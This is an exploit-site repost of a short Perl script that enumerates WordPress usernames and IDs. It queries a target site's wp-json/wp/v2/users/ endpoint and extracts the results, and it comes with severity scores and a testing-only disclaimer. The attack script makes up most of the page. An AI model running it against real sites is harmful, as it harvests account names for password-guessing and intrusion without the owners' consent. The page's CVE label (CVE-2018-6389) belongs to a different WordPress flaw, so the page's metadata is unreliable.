Advertisement






Wordpress 4.9.4 Username Enumeration (perl version)

CVE Category Price Severity
CVE-2018-6389 CWE-200 $1000 High
Author Risk Exploitation Type Date
Unknown High Remote 2018-02-16
CVSS EPSS EPSSP
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N 0.02192 0.50148

CVSS vector description

Our sensors found this exploit at: https://cxsecurity.com/ascii/WLB-2018020189

Below is a copy:

Wordpress 4.9.4 Username Enumeration (perl version)
#!/usr/bin/perl
#####################################################
# Title : Wordpress 4.9.4 Username Enumeration
# Author : dr-iman
# Vendor : https://wordpress.org/
# Software Link: https://wordpress.org/download/
# Version : 4.9.4
# Date : 17 Feb 2018
# Tested On : Ubuntu / Windows 10
# youtube : https://youtu.be/lie-IM_hRIY
# Type : Remote
#####################################################
# Descryption :
# In Wordpress 4.9.4 We Can Find All Users Website
# Directory wp-json/wp/v2/users/
# The Reason Of This Vuln ins wordpress don't encoded the json sources
# usage : perl username.pl

use LWP::UserAgent;


my $ua = LWP::UserAgent->new;

system(($^O eq 'MSWin32') ? 'cls' : 'clear');

print <<logo;
 _ _ _           _                     
| | | |___ ___ _| |___ ___ ___ ___ ___ 
| | | | . |  _| . | . |  _| -_|_ -|_ -|
|_____|___|_| |___|  _|_| |___|___|___|
                  |_|                  
logo

print "\n[-] Wordpress 4.9.4 Username Enumeration\n";

print "\nEnter Target URL : ";
my $url=<>;
chomp($url);

my $target = "$url/wp-json/wp/v2/users/";
my $content = $ua->get("$target")->content;
if ($content =~ /"id":(.*?),/)
{
print "\nID : $1\n";
}


if ($content =~ /"name":"(.*?)",/)
{
print "\nUsername : $1\n";
}

Copyright ©2024 Exploitalert.

This information is provided for TESTING and LEGAL RESEARCH purposes only.
All trademarks used are properties of their respective owners. By visiting this website you agree to Terms of Use and Privacy Policy and Impressum